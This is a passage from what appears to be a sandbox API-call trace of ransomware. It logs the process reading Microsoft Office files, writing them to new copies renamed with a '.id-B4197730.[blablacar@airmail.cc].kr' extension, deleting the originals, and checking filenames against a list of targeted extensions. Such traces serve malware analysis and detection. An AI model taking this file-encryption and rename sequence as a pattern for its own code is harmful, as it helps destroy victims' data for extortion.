Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1 [0191.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.929] lstrlenW (lpString=".doc") returned 4 [0191.929] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0191.929] lstrlenW (lpString=".docx") returned 5 [0191.929] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0191.929] lstrlenW (lpString=".pdf") returned 4 [0191.929] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0191.929] lstrlenW (lpString=".xls") returned 4 [0191.929] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0191.929] lstrlenW (lpString=".xlsx") returned 5 [0191.929] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0191.929] lstrlenW (lpString=".ppt") returned 4 [0191.930] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0191.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.930] lstrlenW (lpString=".zip") returned 4 [0191.930] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0191.930] lstrlenW (lpString=".rar") returned 4 [0191.930] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0191.930] lstrlenW (lpString=".bz2") returned 4 [0191.930] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0191.930] lstrlenW (lpString=".7z") returned 3 [0191.930] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0191.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.930] lstrlenW (lpString=".dbf") returned 4 [0191.930] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0191.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.930] lstrlenW (lpString=".1cd") returned 4 [0191.930] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0191.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.930] lstrlenW (lpString=".jpg") returned 4 [0191.930] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0191.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.930] lstrlenW (lpString=".doc") returned 4 [0191.930] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0191.930] lstrlenW (lpString=".docx") returned 5 [0191.930] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0191.930] lstrlenW (lpString=".pdf") returned 4 [0191.930] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0191.930] lstrlenW (lpString=".xls") returned 4 [0191.931] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0191.931] lstrlenW (lpString=".xlsx") returned 5 [0191.931] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0191.931] lstrlenW (lpString=".ppt") returned 4 [0191.931] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0191.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.931] lstrlenW (lpString=".zip") returned 4 [0191.931] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0191.931] lstrlenW (lpString=".rar") returned 4 [0191.931] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0191.931] lstrlenW (lpString=".bz2") returned 4 [0191.931] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0191.931] lstrlenW (lpString=".7z") returned 3 [0191.931] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0191.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.931] lstrlenW (lpString=".dbf") returned 4 [0191.931] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0191.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.931] lstrlenW (lpString=".1cd") returned 4 [0191.931] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0191.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0191.931] lstrlenW (lpString=".jpg") returned 4 [0191.931] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0191.931] lstrcmpiW (lpString1=".msu", lpString2=".kr") returned 1 [0191.931] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28 [0191.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0192.027] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=595977) returned 1 [0192.027] CloseHandle (hObject=0x4d4) returned 1 [0192.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220 [0192.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0192.030] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.030] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0192.031] GetLastError () returned 0x0 [0192.031] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x91809, lpOverlapped=0x0) returned 1 [0192.054] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x91810, lpOverlapped=0x0) returned 1 [0192.328] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.328] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10c, lpOverlapped=0x0) returned 1 [0192.328] SetEndOfFile (hFile=0x540) returned 1 [0192.328] CloseHandle (hObject=0x540) returned 1 [0192.328] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.328] SetEndOfFile (hFile=0x4d4) returned 1 [0192.346] CloseHandle (hObject=0x4d4) returned 1 [0192.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1 [0192.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.850] lstrlenW (lpString=".doc") returned 4 [0192.850] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0192.850] lstrlenW (lpString=".docx") returned 5 [0192.850] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0192.850] lstrlenW (lpString=".pdf") returned 4 [0192.850] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0192.850] lstrlenW (lpString=".xls") returned 4 [0192.850] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0192.850] lstrlenW (lpString=".xlsx") returned 5 [0192.850] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0192.850] lstrlenW (lpString=".ppt") returned 4 [0192.850] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0192.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.850] lstrlenW (lpString=".zip") returned 4 [0192.850] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0192.850] lstrlenW (lpString=".rar") returned 4 [0192.850] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0192.850] lstrlenW (lpString=".bz2") returned 4 [0192.850] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0192.850] lstrlenW (lpString=".7z") returned 3 [0192.850] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0192.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.850] lstrlenW (lpString=".dbf") returned 4 [0192.850] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0192.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.850] lstrlenW (lpString=".1cd") returned 4 [0192.850] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0192.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.850] lstrlenW (lpString=".jpg") returned 4 [0192.850] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0192.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.851] lstrlenW (lpString=".doc") returned 4 [0192.851] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0192.851] lstrlenW (lpString=".docx") returned 5 [0192.851] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0192.851] lstrlenW (lpString=".pdf") returned 4 [0192.851] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0192.851] lstrlenW (lpString=".xls") returned 4 [0192.851] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0192.851] lstrlenW (lpString=".xlsx") returned 5 [0192.851] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0192.851] lstrlenW (lpString=".ppt") returned 4 [0192.851] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0192.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.851] lstrlenW (lpString=".zip") returned 4 [0192.851] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0192.851] lstrlenW (lpString=".rar") returned 4 [0192.851] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0192.851] lstrlenW (lpString=".bz2") returned 4 [0192.851] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0192.851] lstrlenW (lpString=".7z") returned 3 [0192.851] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0192.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.851] lstrlenW (lpString=".dbf") returned 4 [0192.851] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0192.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.851] lstrlenW (lpString=".1cd") returned 4 [0192.851] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0192.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0192.851] lstrlenW (lpString=".jpg") returned 4 [0192.851] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0192.853] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.853] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24 [0192.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.853] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20901) returned 1 [0192.854] CloseHandle (hObject=0x544) returned 1 [0192.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220 [0192.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0192.874] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.874] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.917] GetLastError () returned 0x0 [0192.917] ReadFile (in: hFile=0x370, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x51a5, lpOverlapped=0x0) returned 1 [0192.942] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0192.944] ReadFile (in: hFile=0x370, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.944] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x104, lpOverlapped=0x0) returned 1 [0192.944] SetEndOfFile (hFile=0x544) returned 1 [0192.944] CloseHandle (hObject=0x544) returned 1 [0192.944] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.944] SetEndOfFile (hFile=0x370) returned 1 [0192.947] CloseHandle (hObject=0x370) returned 1 [0192.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1 [0192.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.949] lstrlenW (lpString=".doc") returned 4 [0192.949] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.949] lstrlenW (lpString=".docx") returned 5 [0192.949] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.949] lstrlenW (lpString=".pdf") returned 4 [0192.949] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.949] lstrlenW (lpString=".xls") returned 4 [0192.949] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.949] lstrlenW (lpString=".xlsx") returned 5 [0192.949] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.949] lstrlenW (lpString=".ppt") returned 4 [0192.949] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.949] lstrlenW (lpString=".zip") returned 4 [0192.949] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.949] lstrlenW (lpString=".rar") returned 4 [0192.949] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.949] lstrlenW (lpString=".bz2") returned 4 [0192.950] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.950] lstrlenW (lpString=".7z") returned 3 [0192.950] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.950] lstrlenW (lpString=".dbf") returned 4 [0192.950] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.950] lstrlenW (lpString=".1cd") returned 4 [0192.950] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.950] lstrlenW (lpString=".jpg") returned 4 [0192.950] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.950] lstrlenW (lpString=".doc") returned 4 [0192.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.950] lstrlenW (lpString=".docx") returned 5 [0192.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.950] lstrlenW (lpString=".pdf") returned 4 [0192.950] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.950] lstrlenW (lpString=".xls") returned 4 [0192.950] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.950] lstrlenW (lpString=".xlsx") returned 5 [0192.951] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.951] lstrlenW (lpString=".ppt") returned 4 [0192.951] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.951] lstrlenW (lpString=".zip") returned 4 [0192.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.951] lstrlenW (lpString=".rar") returned 4 [0192.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.951] lstrlenW (lpString=".bz2") returned 4 [0192.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.951] lstrlenW (lpString=".7z") returned 3 [0192.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.951] lstrlenW (lpString=".dbf") returned 4 [0192.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.951] lstrlenW (lpString=".1cd") returned 4 [0192.951] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0192.951] lstrlenW (lpString=".jpg") returned 4 [0192.951] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.951] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.951] lstrlenW (lpString="AccessVL_KMS_Client-ul-oob.xrm-ms") returned 33 [0192.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0192.954] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11614) returned 1 [0192.954] CloseHandle (hObject=0x370) returned 1 [0192.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0192.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0192.955] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.955] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.956] GetLastError () returned 0x0 [0192.956] ReadFile (in: hFile=0x370, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d5e, lpOverlapped=0x0) returned 1 [0192.961] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0192.962] ReadFile (in: hFile=0x370, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.962] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0192.962] SetEndOfFile (hFile=0x544) returned 1 [0192.963] CloseHandle (hObject=0x544) returned 1 [0192.965] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.965] SetEndOfFile (hFile=0x370) returned 1 [0192.973] CloseHandle (hObject=0x370) returned 1 [0192.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft 